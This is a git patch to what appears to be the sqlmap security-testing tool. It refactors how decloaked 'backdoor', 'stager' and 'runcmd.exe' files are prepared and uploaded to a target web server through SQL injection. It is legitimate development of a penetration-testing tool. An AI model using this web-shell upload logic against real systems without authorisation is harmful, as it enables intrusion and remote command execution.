From 5358d85d37676d14d613b788eb263786291e8878 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Oct 2012 15:09:05 +0100 Subject: [PATCH] Important refactoring for web-based functionality --- lib/core/common.py | 37 ++++----------------------- lib/takeover/web.py | 22 +++++++++++----- thirdparty/multipart/multipartpost.py | 5 ++-- 3 files changed, 23 insertions(+), 41 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 430262492..d97dc069c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -36,7 +36,6 @@ from math import sqrt from optparse import OptionValueError from subprocess import PIPE from subprocess import Popen as execute -from tempfile import NamedTemporaryFile from tempfile import mkstemp from xml.etree import ElementTree as ET from xml.dom import minidom @@ -1401,37 +1400,11 @@ def showStaticWords(firstPage, secondPage): logger.info(infoMsg) -def decloakToNamedTemporaryFile(filepath, name=None): - retVal = NamedTemporaryFile() - - def __del__(): - try: - if hasattr(retVal, 'old_name'): - retVal.name = retVal.old_name - retVal.close() - except OSError: - pass - - retVal.__del__ = __del__ - retVal.write(decloak(filepath)) - retVal.seek(0) - - if name: - retVal.old_name = retVal.name - retVal.name = name - - return retVal - -def decloakToMkstemp(filepath, **kwargs): - handle, name = mkstemp(**kwargs) - - _ = os.fdopen(handle) - _.close() # close low level handle (causing problems latter) - - retVal = open(name, 'w+b') - - retVal.write(decloak(filepath)) - retVal.seek(0) +def decloakToNamedStream(filepath, name=None): + class _(StringIO): + __len__ = property(lambda self: self.len) + retVal = _(decloak(filepath)) + retVal.name = name return retVal diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 49bd246e9..5055d9fdc 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -10,12 +10,13 @@ import os import posixpath import re +from tempfile import mkstemp + from extra.cloak.cloak import decloak from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend -from lib.core.common import decloakToMkstemp -from lib.core.common import decloakToNamedTemporaryFile +from lib.core.common import decloakToNamedStream from lib.core.common import extractRegexResult from lib.core.common import getDirs from lib.core.common import getDocRoot @@ -187,7 +188,7 @@ class Web: directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) - backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) + backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) @@ -255,8 +256,15 @@ class Web: infoMsg += "UNION technique" logger.info(infoMsg) - stagerDecloacked = decloakToMkstemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text") + handle, filename = mkstemp() + os.fdopen(handle).close() # close low level handle (causing problems latter) + + with open(filename, "w+") as f: + _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) + f.write(_) + + self.unionWriteFile(filename, self.webStagerFilePath, "text") uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" @@ -282,7 +290,7 @@ class Web: if self.webApi == WEB_API.ASP: runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) - runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) + runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: @@ -291,7 +299,7 @@ class Web: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) - backdoorStream.file.truncate() + backdoorStream.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index 00327f848..a3c34f53f 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -24,6 +24,7 @@ import mimetools import mimetypes import os import stat +import StringIO import sys import urllib import urllib2 @@ -52,7 +53,7 @@ class MultipartPostHandler(urllib2.BaseHandler): try: for(key, value) in data.items(): - if type(value) == file or hasattr(value, 'file'): + if isinstance(value, file) or hasattr(value, 'file') or isinstance(value, StringIO.StringIO): v_files.append((key, value)) else: v_vars.append((key, value)) @@ -85,7 +86,7 @@ class MultipartPostHandler(urllib2.BaseHandler): buf += '\r\n\r\n' + value + '\r\n' for (key, fd) in files: - file_size = os.fstat(fd.fileno())[stat.ST_SIZE] + file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len filename = fd.name.split('/')[-1] contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' buf += '--%s\r\n' % boundary